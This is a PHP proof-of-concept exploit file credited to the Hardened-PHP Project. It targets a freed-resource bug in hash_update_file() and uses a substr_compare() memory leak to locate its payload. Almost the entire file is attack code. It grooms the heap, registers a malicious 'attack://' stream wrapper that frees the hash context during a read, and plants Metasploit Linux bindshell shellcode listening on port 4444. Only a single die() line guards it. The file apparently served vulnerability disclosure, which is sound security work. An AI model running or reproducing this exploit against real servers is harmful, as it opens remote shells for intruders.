<?php
  ////////////////////////////////////////////////////////////////////////
  //  _  _                _                     _       ___  _  _  ___  //
  // | || | __ _  _ _  __| | ___  _ _   ___  __| | ___ | _ | || || _  //
  // | __ |/ _` || '_|/ _` |/ -_)| '  / -_)/ _` ||___||  _/| __ ||  _/ //
  // |_||_|__,_||_|  __,_|___||_||_|___|__,_|     |_|  |_||_||_|   //
  //                                                                    //
  //         Proof of concept code from the Hardened-PHP Project        //
  //                   (C) Copyright 2007 Stefan Esser                  //
  //                                                                    //
  ////////////////////////////////////////////////////////////////////////
  //         PHP hash_update_file() freed resource usage exploit        //
  ////////////////////////////////////////////////////////////////////////

  // This is meant as a protection against remote file inclusion.
  die("REMOVE THIS LINE");

  // linux x86 bindshell on port 4444 from Metasploit
  $shellcode = "x29xc9x83xe9xebxd9xeexd9x74x24xf4x5bx81x73x13x46".
      "x32x3cxe5x83xebxfcxe2xf4x77xe9x6fxa6x15x58x3ex8f".
      "x20x6axa5x6cxa7xffxbcx73x05x60x5ax8dx57x6ex5axb6".
      "xcfxd3x56x83x1ex62x6dxb3xcfxd3xf1x65xf6x54xedx06".
      "x8bxb2x6exb7x10x71xb5x04xf6x54xf1x65xd5x58x3exbc".
      "xf6x0dxf1x65x0fx4bxc5x55x4dx60x54xcax69x41x54x8d".
      "x69x50x55x8bxcfxd1x6exb6xcfxd3xf1x65";

  
  define("OFFSET", pack("L",findOffset()));


  class AttackStream {
    function stream_open($path, $mode, $options, &$opened_path)
    {
      return true;
    }

    function stream_read($count)
    {
      hash_final($GLOBALS['hid'], true);
      $GLOBALS['aaaaaaaaaaaaaaaaaaaaaa'] = str_repeat(OFFSET, 3);
      return "A";
    }

    function stream_eof()
    {
      return true;
    }

    function stream_seek($offset, $whence)
    {
               return false;
    }
  }

  stream_wrapper_register("attack", "AttackStream") or die("Failed to register protocol");

  $hid = hash_init('md5');
  hash_update_file($hid, "attack://nothing");






  // This function uses the substr_compare() vulnerability
  // to get the offset. 
  
  function findOffset()
  {
    global $offset_1, $offset_2, $shellcode;
    // We need to NOT clear these variables,
    //  otherwise the heap is too segmented
    global $memdump, $d, $arr;
    
    $sizeofHashtable = 39;
    $maxlong = 0x7fffffff;

    // Signature of a big endian Hashtable of size 256 with 1 element
    $search = "x00x01x00x00xffx00x00x00x01x00x00x00";

    $memdump = str_repeat("A", 8192);
    for ($i=0; $i<400; $i++) {
	  $d[$i]=array();
    }
    unset($d[350]);
    $x = str_repeat("x01", $sizeofHashtable);
    unset($d[351]);
    unset($d[352]);
    $arr = array();
    for ($i=0; $i<129; $i++) { $arr[$i] = 1; }
    $arr[$shellcode] = 1;
    for ($i=0; $i<129; $i++) { unset($arr[$i]); }

    // If the libc memcmp leaks the information use it
    // otherwise we only get a case insensitive memdump
    $b = substr_compare(chr(65),chr(0),0,1,false) != 65;

    for ($i=0; $i<8192; $i++) {
      $y = substr_compare($x, chr(0), $i+1, $maxlong, $b);
      $Y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
      if ($y-$Y == 1 || $Y-$y==1){
        $y = chr($y);
        if ($b && strtoupper($y)!=$y) {
          if (substr_compare($x, $y, $i+1, $maxlong, false)==-1) {
            $y = strtoupper($y);
          }
        }
        $memdump[$i] = $y;
      } else {
  	    $y = substr_compare($x, chr(1), $i+1, $maxlong, $b);
        $Y = substr_compare($x, chr(2), $i+1, $maxlong, $b);
        if ($y-$Y != 1 && $Y-$y!=1){
	      $memdump[$i] = chr(1);
        } else {
          $memdump[$i] = chr(0);
        }   
      }
    }
    
    // Search hashtable to get the shellcode offset
    $pos_hashtable = strpos($memdump, $search);
    
    if ($pos_hashtable == 0) {
      die ("Unable to find the offset");
    }
    
    $addr = substr($memdump, $pos_hashtable+6*4, 4);
    $addr = unpack("L", $addr);
    return ($addr[1] + 32);
  }
?>

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